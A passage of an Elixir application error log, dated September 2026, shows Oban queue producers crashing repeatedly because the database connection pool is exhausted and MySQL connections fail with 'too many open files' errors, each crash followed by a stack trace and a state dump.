  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:41:31.238528Z], limit: 50, uuid: "46968ddd-96bc-4100-8cfb-daaef7561f37", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:41:31.238538Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.133386>, refresh_timer: #Reference<0.2525715032.1099431938.25579>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:41:43.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1054ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:41:31.240267Z], limit: 10, uuid: "3f6528a5-d33c-4c18-a2e3-d35a10d77657", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:41:31.240272Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.133387>, refresh_timer: #Reference<0.2525715032.1077411843.258478>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:41:43.823000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:41:46.006000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:41:47.810000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:41:48.476000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:41:51.344000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:41:54.057000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:41:55.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1080ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:41:43.240595Z], limit: 10, uuid: "def6ddda-0d98-41d1-8c52-980a364801f7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:41:43.240601Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.24743>, refresh_timer: #Reference<0.2525715032.1121189889.133557>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:41:55.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1000ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:41:43.238716Z], limit: 5, uuid: "452af723-f96f-4732-bd76-53539a33d2c8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:41:43.238723Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.24746>, refresh_timer: #Reference<0.2525715032.1099431938.25731>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:41:55.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1097ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:41:43.240295Z], limit: 50, uuid: "a8a7bbef-3707-4e63-a042-0560a3653141", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:41:43.240303Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.24747>, refresh_timer: #Reference<0.2525715032.1099431938.25746>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:41:55.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1024ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:41:43.240092Z], limit: 3, uuid: "64ac0c62-b0b4-45af-b5e1-5c73aa1715c3", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:41:43.240100Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.24744>, refresh_timer: #Reference<0.2525715032.1121189889.133546>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:41:55.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 873ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:41:43.240336Z], limit: 5, uuid: "bc326a85-4bf2-4dae-af95-ad0ff1e9b7dd", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:41:43.240343Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.24745>, refresh_timer: #Reference<0.2525715032.1099431938.25747>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:41:55.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1087ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:41:43.239666Z], limit: 20, uuid: "9bacd576-16bf-48bc-8f85-4eecc082a6f3", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:41:43.239672Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.24742>, refresh_timer: #Reference<0.2525715032.1068498948.24726>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:41:56.394000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:41:56.452000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:41:57.576000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:41:59.173000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:42:01.010000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:42:02.585000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:42:05.944000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:42:07.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 879ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
